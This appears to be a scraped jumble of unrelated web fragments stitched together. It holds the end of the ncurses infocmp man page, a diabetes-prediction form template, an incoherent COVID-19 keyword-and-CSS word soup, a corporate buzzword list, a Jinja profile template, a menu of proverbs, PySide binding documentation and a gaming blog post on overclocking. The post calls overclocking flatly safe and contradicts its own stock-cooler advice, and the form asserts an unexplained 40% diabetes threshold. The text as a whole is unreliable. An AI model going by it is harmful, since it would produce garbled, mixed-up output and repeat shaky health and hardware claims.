notion of `termcap' capabilities is System V Release 4's. Actual BSD curses versions will have a more restricted set. To see only the 4.4BSD set, use -r -RBSD. BUGS The -F option of infocmp(1) should be a toe(1) mode. SEE ALSO captoinfo(1), infotocap(1), tic(1), toe(1), ncurses(3NCURSES), ter‐ minfo(5). This describes ncurses version 5.9 (patch 20110404). AUTHOR Eric S. Raymond<EMAIL_ADDRESS>and Thomas E. Dickey<EMAIL_ADDRESS>infocmp(1)


Diabetics Prediction
Please Note: If the probability is higher than 40%, You might have Diabetes
Diabetes Prediction :
Pregnancies
Glucose
Blood Pressure
Skin Thickness
Insulin
BMI
Pedigree Function
Age
Predict
{{ pred }}


epidemic cases []. number {border-style [], px;} #ffffff;} government measures prevention research coronavirus disease traffic China SARS caused control days -nCoV human new Chinese increase international medical spread virus -nCOV Hubei January data health outbreak public response Fig.Â countries future infectious px; rate {font-family China-MHC: WHO: [,]. font-size people pneumonia reported respiratory China, February Med Wuhan case comprehensive confirmed double; epidemic, epidemics implemented information major scientific total transmission Elsevier appeared began billion border-color border-width communication community cooperation country day domestic experience global including infection million national novel prevent solid; syndrome temporary time time, {font-style {font-weight (Fig.Â COVID- China. Hospital Province SARS-CoV acute addition, animal areas bold care centre courier; diagnosed economic em; established government, important media need origin pandemic passenger patients people, period population press provinces pt;} quickly reached resource responding shown significant support technology transmitted virus.


We have mices!
- matrix magnetic content
- monetize interactive infomediaries
- enhance cutting-edge e-commerce
- productize rich technologies
- engage efficient functionalities
- e-enable sexy initiatives
- enable open-source bandwidth
- monetize 24/365 paradigms
- engage B2B action-items
- drive virtual platforms
- unleash proactive channels
- productize value-added interfaces
- disintermediate holistic relationships
- seize innovative ROI
- transform magnetic platforms


{% extends 'base.html'%} {% block content %}
No profile picture
{{user.bio}}
{{user.username| capitalize}} has no bio


WEB'S
menu1
menu2
menu3
menu4
menu5
menu6
Time is
gold
Seeing is
believing
Asking costs
nothing
Better
is to bow than break
Habit
is second nature
Pain past is
pleasure


10. Words of Advice¶
When writing or using Python bindings there is some things you must keep in mind.
10.1. Duck punching and virtual methods¶
The combination of duck punching, the practice of altering class characteristics of already instantiated objects, and virtual methods of wrapped C++ classes, can be tricky. That was an optimistic statement.
Let’s see duck punching in action for educational purposes.
import types import Binding obj = Binding.CppClass() # CppClass has a virtual method called 'virtualMethod', # but we don't like it anymore. def myVirtualMethod(self_obj, arg): pass obj.virtualMethod = types.MethodType(myVirtualMethod, obj, Binding.CppClass)
If some C++ code happens to call CppClass::virtualMethod(…) on the C++ object held by “obj” Python object, the new duck punched “virtualMethod” method will be properly called. That happens because the underlying C++ object is in fact an instance of a generated C++ class that inherits from CppClass, let’s call it CppClassWrapper, responsible for receiving the C++ virtual method calls and finding out the proper Python override to which handle such a call.
Now that you know this, consider the case when C++ has a factory method that gives you new C++ objects originated somewhere in C++-land, in opposition to the ones generated in Python-land by the usage of class constructors, like in the example above.
Brief interruption to show what I was saying:
import types import Binding obj = Binding.createCppClass() def myVirtualMethod(self_obj, arg): pass # Punching a dead duck... obj.virtualMethod = types.MethodType(myVirtualMethod, obj, Binding.CppClass)
The Binding.createCppClass() factory method is just an example, C++ created objects can pop out for a number of other reasons. Objects created this way have a Python wrapper holding them as usual, but the object held is not a CppClassWrapper, but a regular CppClass. All virtual method calls originated in C++ will stay in C++ and never reach a Python virtual method overridden via duck punching.
Although duck punching is an interesting Python feature, it don’t mix well with wrapped C++ virtual methods, specially when you can’t tell the origin of every single wrapped C++ object.  Python old style classes and PySide¶
Because of some architectural decisions and deprecated Python types. Since PySide 1.1 old style classes are not supported with multiple inheritance.
Below you can check the examples:
Example with old style class:
from PySide2 import QtCore class MyOldStyleObject: pass class MyObject(QtCore, MyOldStyleObject): pass
this example will raise a ‘TypeError’ due to the limitation on PySide, to fix this you will need use the new style class:
from PySide2 import QtCore class MyOldStyleObject(object): pass class MyObject(QtCore, MyOldStyleObject): pass
All classes used for multiple inheritance with other PySide types need to have ‘object’ as base class.


- What is Overclocking?
- Is Overclocking Bad?
- Is Overclocking Safe?

- Do You Really Need to Overclock?
- What are the Pros and Cons of Overclocking?
If you ended up here you’re probably wondering what the whole buzz about overclocking is.
Is overclocking worth it?
The short answer is yes, overclocking is definitely worth it. When done properly, overclocking is an easy way to get the maximum performance out of your processor, graphics card, and RAM. You can essentially boost the performance of your core components, giving the biggest bang for your PC gaming buck.
But you may have some more questions about overclocking…
You’re going to find all of that out in more in this post.
What is Overclocking?
A component’s speed is measured by how quickly it can process instructions, known as its clock speed.
When you overclock you’re telling the component “Hey, I want you to think faster!”
And faster is usually better, right?
You can usually overclock without any issues, but increasing the voltage (the amount of power a part draws) will make it run even faster at the cost of extra heat.
Overclocking has been around for a long time and as time goes on it’s getting easier by the day.
More importantly, it’s become a lot safer, and with tons of online text guides or videos to learn from, you can start overclocking in a matter of minutes.
Is Overclocking Bad?
Overclocking is only a bad idea if you don’t have a proper cooling solution. Don’t overclock your CPU with a stock cooler, and you’ll be fine.
Any aftermarket CPU cooler will get the job done. Pop that bad boy on your CPU, and follow a tutorial step-by-step to make sure you’re doing it properly.
Nowadays, it’s pretty hard to mess up because most manufacturing companies have fail safes built in (your CPU will turn off if it’s too hot, for example).
Overclocking RAM and your GPU is another story. The process is a bit different, but they’re both pretty easy as well.
Is Overclocking Safe?
Yes, overclocking is safe. Your components aren’t going to catch on fire, nor will your computer blow up in the case.
That doesn’t mean you should try and push a 3.0GHz base clock CPU to 7GHz (that’d be insane) but some light overclocking won’t hurt.
In fact, overclocking is a great way to maximize the power of your components, especially if you have an overclocking friendly CPU.
Overclocking Your CPU
The CPU is the most popular component to overclock since it can be relatively easy but with practice, there are super advanced settings and such you can delve into.
Mostly, for novices and other newbies to overclocking, the most you’ll want to do is a small core speed overclock.
However, advanced overclockers experiment with voltage control and various cooling solutions, with some of the more professional overclockers even using liquid nitrogen cooling systems to reach record-breaking speeds.
You should be wary though if you decide you want to overclock your brand new processor for a couple of reasons.
Overclocking voids your warranty and you might not want to lose out on the $300 processor you just got.
Overtly high clock speeds can pose a risk to your processor in the long term without proper cooling because pushing a chip to run faster will also make it run hotter. As a result, a CPU running at higher temperatures will wear down faster.
Improperly overclocking may pose a small risk to the processor itself, but more importantly, can (and will) cause your system to BSOD which can possibly damage or corrupt files on your computer.
Despite the above warnings, I wouldn’t sweat it too much - Just don’t do anything crazy to your CPU.
If you follow our tutorial that teaches you how to overclock your CPU safely, step-by-step, you’ll be fine.
How Much Performance Gain from Overclocking CPU?
I was able to overclock my Ryzen 3 1200 from the base frequency of 3.1GHz to 3.8GHz with the stock cooler, which is pretty sweet.
That performance increase has alleviated my CPU bottleneck in titles which draw a lot of power from the CPU like Battlefield Conquest mode.
Before overclocking, I experienced a lot of stutters and frame drops, but with the extra performance, it isn’t a problem anymore.
Most stock coolers are only designed for base frequencies, so achieving a stable overclock with the Ryzen Wraith cooler was pretty sweet.
I’d probably be able to push the CPU even further with an aftermarket cooler.
Of course, it’s important to note that different processors and architectures will perform, you guessed it, differently.
Ryzen is known for overclocking, so you may not get the same performance out of your CPU.
Here’s a video comparing the performance of a stock Ryzen 3 1200 vs a Ryzen 3 1200 overclocked in several different games:
Overclocking Your Graphics Card
Overclocking your graphics card can be a quick and easy way to squeeze out a couple more frames.
GPU overclocking is much easier than CPU overclocking and poses less risk to your system.
Programs like MSI Afterburner are popular tools for ease-of-use graphics card overclocking and Afterburner provides enough features for both the noob and pro alike to reach some serious gains on their stock cards.
As with processor overclocking, there are a few things you should keep in mind.
Running your GPU at a high overclock will require better cooling on some cards and you might encounter overheating issues.
Applying an unstable overclock will cause artifacting in games and can end up crashing your whole graphics card.
We don’t suggest increasing voltages for graphics card overclocking.
Instead, check out our step-by-step tutorial that’ll show you exactly how to overclock your GPU easily (and safely).
Is Overclocking GPU Worth It?
Overclocking your GPU clock speed is most definitely worth it — considering the graphics card is the most important component for gaming performance, pushing your GPU to the limit will increase your in-game performance without you needing to shell out a bunch of money.
However, you should know that different graphics cards have different overclocking capabilities, so don’t expect huge performance gains if your GPU isn’t known for insane overclocks.
That being said, even overclocking your GPU a tad is worth it, and can be done with a program like MSI afterburner on your desktop.

Overclocking Your Memory (RAM)
RAM is another pretty popular component to overclock, although it might not provide too many benefits compared to your CPU or GPU.
As a baseline, you should apply an XMP profile for your RAM — this will optimize its performance to make sure it’s running at peak efficiency.
Aside from that, overclocking won’t do too much to move the performance needle.
In some instances you can purchase lower speed memory and overclock it to perform similarly to higher-end RAM.
One situation the would benefit from memory overclocking would be if you’re running an APU; a processor with integrated graphics.
APUs utilize some of your system memory as GPU memory, so higher clocked RAM should benefit your FPS.
If you want to learn how to overclock your RAM safely and easily, click that link to check out our step-by-step guide.
Is Overclocking Ram Worth It?
Unlike your CPU and GPU, overclocking your RAM isn’t going to have a significant effect on performance, unless you’re rocking an APU.

Overclocking your RAM is a great idea if you’re using a Ryzen CPU, since the Ryzen architecture’s performance is heavily dependent on your RAM, as opposed to Intel CPUs which aren’t as RAM dependent.
Monitor
Overclocking your monitor? What the heck?
While it may seem a bit odd of a concept, yes, you can actually overclock a monitor.
But how?
In short, a monitor’s refresh rate is the highest FPS it can display. So, say you’re getting 100fps on a 60Hz monitor, you’re only really seeing 60fps.
By overclocking your monitor, you can increase the refresh rate and effectively see more of the frames you should be. It can be a great way to improve your gaming experience and it can be really easy if your monitor supports it.
Why Do People Overclock, and Should You?
Overclocking has been around for years and people are always looking for ways to squeeze the most possible performance out of their PC.
It’s even spawned professional overclockers to push the limits of PC hardware and show just how fast that little rock can think.
So, is overclocking worth it?
In the case of processor and graphics card overclocking you can get noticeable gains in gaming, workstation, and normal daily use.
Higher FPS and faster rendering speeds are always great so we’d deem it worthwhile to overclock at least your CPU and/or GPU.
Monitors can also be great if you’d like a heightened gaming experience and your monitor supports it.
Do You Really Need to Overclock?
No, technically you don’t need to overclock, but in most cases you probably should.
Typically you can buy a lower-end component, throw an aftermarket cooler on it, achieve the same level of performance of a more expensive part, while saving $50-$100.
And even if you buy a more expensive component, like an unlocked “K” model Intel CPU, it’s designed for overclocking anyway, so you might as well pull the trigger.
What are the Pros and Cons of Overclocking?
Overclocking allows you to maximize the performance of your CPU, GPU, or RAM.
A proper overclock allows you to achieve performance you’d otherwise never achieve.
Sounds great, right?
Well, there is a con to overclocking.
The main drawback of overclocking is potentially damaging components. Overclocking uses more energy, thus heating up your components. If your cooling solution isn’t adequate enough to keep your component at a stable temperature, you could damage it.
In addition, overclocking almost always voids any manufacturer warranty that comes with the component, so overclock at your own risk.